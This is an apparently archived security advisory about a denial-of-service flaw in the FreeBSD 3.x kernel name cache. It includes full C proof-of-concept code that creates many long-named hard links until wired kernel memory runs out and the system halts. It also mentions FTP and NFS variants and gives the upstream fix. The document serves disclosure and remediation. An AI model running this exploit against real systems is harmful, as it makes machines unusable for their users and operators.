COMMAND
kernel
SYSTEMS AFFECTED
FreeBSD >= 3.0
PROBLEM
Charles M. Hannum found following. Here's an interesting
denial-of-service attack against FreeBSD >=3.0 systems. It
abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no way to
purge entries unless the `vnode' (e.g. the file) they point to is
removed from memory -- which generally doesn't happen unless a
certain magic number of `vnodes' is in use, and never happens
when the `vnode' (i.e. file) is open. Thus it's possible to chew
up an arbitrary amount of wired kernel memory relatively simply.
What strikes as funny about this is that the relevant code in
4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
susceptible to such an attack, and all of the code to prevent it
was intentionally removed.
Testing was done on a machine running FreeBSD 3.2-RELEASE with
256MB of RAM, and it chugged along to about `02/03000' (meaning
it created 3 files and about 63000 or so links), consuming a
whopping 34MB of wired kernel memory (according to `top'), before
all file system activity came to a screeching halt and the machine
was unusable.
Also note that it may be possible to exercise this against a FTP
server with a writable directory if the server has a way of
creating hard links. The code:
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#define NFILE 64
#define NLINK 30000
#define NCHAR 245
int
main()
{
char junk[NCHAR+1],
dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
int i, j;
struct stat sb;
memset(junk, 'x', NCHAR);
junk[NCHAR] = '\0';
for (i = 0; i < NFILE; i++) {
printf("\r%02d/%05d...", i, 0),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, 0);
if (mkdir(dir, 0755) < 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
sprintf(file1, "%s/%s%03d", dir, junk, 0);
if (creat(file1, 0644) < 0)
fprintf(stderr, "creat(%s) failed\n", file1),
exit(1);
if (stat(file1, &sb) < 0)
fprintf(stderr, "stat(%s) failed\n", file1),
exit(1);
for (j = 1; j < NLINK; j++) {
if ((j % 1000) == 0) {
printf("\r%02d/%05d...", i, j),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, j/1000);
if (mkdir(dir, 0755) < 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
}
sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
if (link(file1, file2) < 0)
fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
exit(1);
if (stat(file2, &sb) < 0)
fprintf(stderr, "stat(%s) failed\n", file2),
exit(1);
}
}
printf("\rfinished successfully\n");
}
SOLUTION
This exploit does not affect Linux 2.0.36, or any version of
NetBSD. Note that, although it may seem like setting quotas is a
good solution to this problem, if the FreeBSD system is acting as
a NFS client, it's possible to use a variant of the attack that
only creates one file and keeps at most one link to it at any
given time.
This has been addressed and was fixed in src/sys/kern/vfs_cache.c
revision 1.38.2.3 before releasing the latest stable FreeBSD-3.3:
A tunable sysctl knob `vfs.cache.maxaliases' which defaults to 4
limits the number of cache aliases to a vnode. In other words
this has been fixed in 3.3-RELEASE.